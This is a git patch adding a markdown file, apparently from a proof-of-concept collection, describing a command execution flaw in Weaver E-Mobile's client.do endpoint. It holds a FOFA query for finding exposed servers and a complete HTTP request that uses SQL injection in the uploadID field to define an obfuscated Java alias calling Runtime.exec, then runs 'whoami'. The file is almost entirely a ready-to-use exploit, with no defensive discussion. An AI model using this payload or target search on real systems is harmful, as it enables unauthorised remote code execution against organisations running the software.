From 66ab49f8dbc1982176098ba216e05beb797b8010 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Tue, 9 Apr 2024 21:34:12 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E6=B3=9B=E5=BE=AEE-Mobile-client.do?=
 =?UTF-8?q?=E5=AD=98=E5=9C=A8=E5=91=BD=E4=BB=A4=E6=89=A7=E8=A1=8C=E6=BC=8F?=
 =?UTF-8?q?=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 泛微E-Mobile-client.do存在命令执行漏洞.md | 28 +++++++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 泛微E-Mobile-client.do存在命令执行漏洞.md

diff --git a/泛微E-Mobile-client.do存在命令执行漏洞.md b/泛微E-Mobile-client.do存在命令执行漏洞.md
new file mode 100644
index 0000000..d7fbbde
--- /dev/null
+++ b/泛微E-Mobile-client.do存在命令执行漏洞.md
@@ -0,0 +1,28 @@
+## 泛微E-Mobile-client.do存在命令执行漏洞
+
+## fofa
+```
+"Weaver E-Mobile"
+```
+
+## poc
+```
+POST /client.do HTTP/1.1
+Host: 
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTm8YXcJeyKDClbU7
+
+------WebKitFormBoundaryTm8YXcJeyKDClbU7
+Content-Disposition: form-data; name="method"
+ 
+getupload
+------WebKitFormBoundaryTm8YXcJeyKDClbU7
+Content-Disposition: form-data; name="uploadID"
+ 
+1';CREATE ALIAS if not exists MzSNqKsZTagmf AS CONCAT('void e(String cmd) throws java.la','ng.Exception{','Object curren','tRequest = Thre','ad.currentT','hread().getConte','xtClass','Loader().loadC','lass("com.caucho.server.dispatch.ServletInvocation").getMet','hod("getContextRequest").inv','oke(null);java.la','ng.reflect.Field _responseF = currentRequest.getCl','ass().getSuperc','lass().getDeclar','edField("_response");_responseF.setAcce','ssible(true);Object response = _responseF.get(currentRequest);java.la','ng.reflect.Method getWriterM = response.getCl','ass().getMethod("getWriter");java.i','o.Writer writer = (java.i','o.Writer)getWriterM.inv','oke(response);java.ut','il.Scan','ner scan','ner = (new java.util.Scann','er(Runt','ime.getRunt','ime().ex','ec(cmd).getInput','Stream())).useDelimiter("\\A");writer.write(scan','ner.hasNext()?sca','nner.next():"");}');CALL MzSNqKsZTagmf('whoami');--
+------WebKitFormBoundaryTm8YXcJeyKDClbU7--
+```